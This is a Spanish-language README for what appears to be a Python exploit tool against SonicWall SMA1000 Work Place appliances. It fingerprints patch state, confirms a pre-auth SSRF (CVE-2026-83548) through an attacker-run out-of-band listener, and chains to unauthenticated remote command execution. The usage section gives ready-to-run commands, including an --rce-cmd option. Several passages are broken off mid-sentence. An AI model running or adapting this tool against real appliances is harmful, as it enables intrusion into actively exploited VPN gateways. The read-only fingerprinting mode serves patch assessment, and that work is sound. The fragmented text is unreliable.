
Herramienta Python de un solo archivo que identifica appliances SonicWall SMA1000 Work Place, sondea y confirma el SSRF pre-auth (CVE-2026-83548) mediante captura fuera de banda, y encadena hasta RCE.
Herramienta de un solo archivo (Python 3, solo biblioteca estándar, sin dependencias) para evaluar y explotar el SSRF de pre-autenticación en la interfaz Work Place de los dispositivos SonicWall SMA1000 (6210 / 7210 / 8200v), incluida una cadena oportunista hacia RCE no autenticado mediante CVE-2026-83549.
| CVE | CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0 |
| Cadena | CVE-2026-83549 — inyección de comandos del SO en el AMC (post-autenticación), eludida a través del SSRF |
| Mecanismo | La interfaz Work Place actúa como un proxy de reenvío no intencionado: el dispositivo reenvía solicitudes manipuladas a recursos internos (incluido el AMC) usando su propia posición de red privilegiada, sin requerir autenticación en ninguna etapa |
| Afectados | SMA1000 ≤ 12.4.3-03453 y ≤ 12.5.0-02835 |
| Corregido | 12.4.3-03526 / 12.5.0-02952 (aviso de SonicWall SNWLID-2026-0016) |
| Estado | Explotada activamente en el mundo real; CISA KEV desde 2026-09-02; sin solución alternativa — solo parchear |
Server: SMA/*, recursos __extraweb__, versión a partir de enlaces
de ayuda; clasificación frente a las compilaciones corregidas (PATCHED / AFFECTED /
POTENTIALLY_AFFECTED / NOT_SMA1000)./cgi-bin/ y la forma de
proxy de reenvío "URI absoluta como ruta") y puntúa las anomalías frente a una línea base:
cambio de código de estado, delta de latencia, nuevas cabeceras de respuesta, delta del cuerpo.
Los vectores proporcionados por el operador se aceptan mediante --vector (repetible).# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com
# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
--oob-timeout 5 vpn.example.com
# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
--rce-cmd 'id' vpn.example.com
# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
--vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
-k -t 10 203.0.113.10
# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
vpn-a.example.com vpn-b.example.com
--attacker-ip — la IP desde la cual el appliance debe poder alcanzar tu
listener de captura (127.0.0.1 para comprobaciones locales; una dirección
visible en la red más reenvío de puertos para remoto). Sin ella, la herramienta
adivina una IP local, lo que a menudo no funciona dentro de configuraciones de
contenedores/VPN.
| Código | Significado |
|---|---|
| 0 | parcheado / no afectado |
| 1 | afectado por versión, o SSRF confirmado, o línea de firmware afectada con build exacto indeterminado |
| 2 | RCE no autenticado confirmado (cadena exitosa) |
| 3 | el objetivo no es un portal SMA1000 Work Place |
| 4 | error de conexión/otro error |
12.5.0) externamente, no el build exacto del hotfix — el resultado
habitual es POTENTIALLY_AFFECTED, lo que requiere confirmar el build en
el propio appliance.